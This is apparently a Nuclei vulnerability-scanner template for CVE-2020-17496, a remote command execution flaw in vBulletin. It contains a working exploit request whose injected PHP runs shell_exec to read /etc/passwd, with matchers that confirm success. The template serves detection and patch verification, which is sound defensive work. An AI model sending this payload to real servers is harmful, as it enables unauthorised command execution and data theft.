50 lines
2.0 KiB
YAML
50 lines
2.0 KiB
YAML
id: CVE-2020-17496
|
|
|
|
info:
|
|
name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution
|
|
author: pussycat0x
|
|
severity: critical
|
|
description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.'
|
|
impact: |
|
|
Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
|
|
remediation: |
|
|
Upgrade vBulletin to a version that is not affected by CVE-2020-17496.
|
|
reference:
|
|
- https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-17496
|
|
- https://seclists.org/fulldisclosure/2020/Aug/5
|
|
- https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
|
|
- https://cwe.mitre.org/data/definitions/78.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-17496
|
|
cwe-id: CWE-74
|
|
epss-score: 0.97413
|
|
epss-percentile: 0.9992
|
|
cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: vbulletin
|
|
product: vbulletin
|
|
tags: vbulletin,rce,kev,tenable,seclists,cve,cve2020
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100e5b73472c3058e8a412bb944d438a71bcc67735b8f6b2ec03b865523c0148d6c022058ae39a024e16a63583883d813b9ba12a91cbe98a815141c8b5c04d14ddc2830:922c64590222798bb761d5b6d8e72950 |